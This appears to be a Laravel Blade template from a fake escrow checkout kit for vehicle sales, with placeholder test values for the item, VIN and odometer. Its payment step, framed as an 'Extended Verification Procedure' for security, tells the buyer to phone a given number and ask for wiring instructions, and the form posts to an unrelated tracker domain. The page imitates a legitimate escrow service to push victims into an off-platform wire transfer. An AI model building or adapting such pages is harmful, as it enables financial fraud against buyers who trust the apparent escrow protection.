@extends('layouts.app')

@section('content')

<div class="content-wrapper" style="min-height: 634px; margin-left: 0px;">

    <!--end::Page title-->
    <!-- Main content -->
    <section class="content">
        <div class="container-fluid">

            <link rel="stylesheet" href="/assets/custom/css/pcs.css">
            <main>
                <div data-container="spa" id="spa">
                    <div>
                        <div class="checkout section section--small section--dark">
                            <div class="checkout-content section-container">
                                <div class="checkout-inner">
                                    <div class="checkout-card checkout-card--roundedEdges">
                                        <div data-tracking-section="main-funnel-header">
                                            <div>
                                                <div class="checkout-header checkout-header--motorVehicle">
                                                    <div class="checkout-header-logo-container">
                                                        <div class="checkout-fees-item checkout-fees--highlight"><span class="checkout-fees-label">Total</span><span class="checkout-fees-value">$12,411.32 USD</span></div>
                                                    </div>
                                                    <div class="checkout-item">
                                                        <div class="checkout-item-content">
                                                            <h3 class="checkout-item-header"><span class="checkout-item-header-name">test</span><span class="checkout-item-header-price">$12,345.00 USD</span></h3>
                                                            <div class="checkout-item-body">
                                                                <div class="checkout-item-body-content">
                                                                    <div class="checkout-item-body-desc"><span class="checkout-item-body-label">VIN:</span><span class="checkout-item-body-desc-suffix">12312qweqwdqwd</span></div>
                                                                    <div class="checkout-item-body-desc"><span class="checkout-item-body-label">Odometer:</span><span class="checkout-item-body-desc-suffix">123456789</span></div>
                                                                </div>
                                                                <div class="checkout-item-body-fees">
                                                                    <div class="checkout-fees-item"><span class="checkout-fees-label">Escrow Fee</span><span class="checkout-fees-value">$66.32 USD</span></div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div data-tracking-section="main-funnel-progress">
                                            <div class="checkout-progress">
                                                <div class="checkout-progress-step" role="presentation" data-tracking-name="checkout-payment-section">
                                                    <div class="checkout-progress-step-iconHolder is-active">
                                                        <div class="checkout-progress-step-icon">1</div>
                                                    </div>
                                                    <div class="checkout-progress-step-title is-active">PAYMENT</div>
                                                </div>
                                                <div class="checkout-progress-bar" style="left: 69px; width: 219.45px;"><span class="checkout-progress-bar-loader" style="width: 0%;"></span></div>
                                                <div class="checkout-progress-step-activeLabel" style="left: 293px; opacity: 1;"></div>
                                                <div class="checkout-progress-step" role="presentation" data-tracking-name="checkout-customer-details-section">
                                                    <div class="checkout-progress-step-iconHolder is-active">
                                                        <div class="checkout-progress-step-icon">2</div>
                                                    </div>
                                                    <div class="checkout-progress-step-title is-active">ESCROW</div>
                                                </div>
                                                <div class="checkout-progress-bar" style="left: 348.45px; width: 219.45px;"><span class="checkout-progress-bar-loader" style="width: 0%;"></span></div>
                                                <div class="checkout-progress-step" role="presentation" data-tracking-name="checkout-confirmation-section">
                                                    <div class="checkout-progress-step-iconHolder">
                                                        <div class="checkout-progress-step-icon">3</div>
                                                    </div>
                                                    <div class="checkout-progress-step-title">CONFIRM</div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="checkout-step-enter-done">
                                            <div class="checkout-page" data-tracking-section="main-funnel-step-payment">
                                                <form name="checkout-payment-method-selection-form" data-tracking-subsection="payment-method-selection" action="https://tracker.glezzautolog.com/en/role-buyer/transactions/pay/2182367/step/3" method="GET">
                                                    <h3 class="checkout-page-header" style="text-align: center; align-self: center; margin: auto;"> Extended Verification Procedure </h3>
                                                    <div>
                                                        <label class="checkout-paymentOption">
                                                            <div class="checkout-paymentOption-text">
                                                                <p class="checkout-paymentOption-text-detail" style="font-size: 1.2rem !important; font-weight: 200 !important; text-align: center;">For security purposes please complete the Extended Verification Procedure by calling us at +1 (336) 355-0520‬ and ask for Wiring Instructions.</p>
                                                            </div>
                                                        </label>
                                                    </div>
                                                    <div class="center-items" style="text-align: center;">
                                                        <div class="lds-default">
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                            <div></div>
                                                        </div>
                                                    </div>
                                                </form>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </main>

        </div><!-- /.container-fluid -->
    </section>
    <!-- /.content -->
</div>
@endsection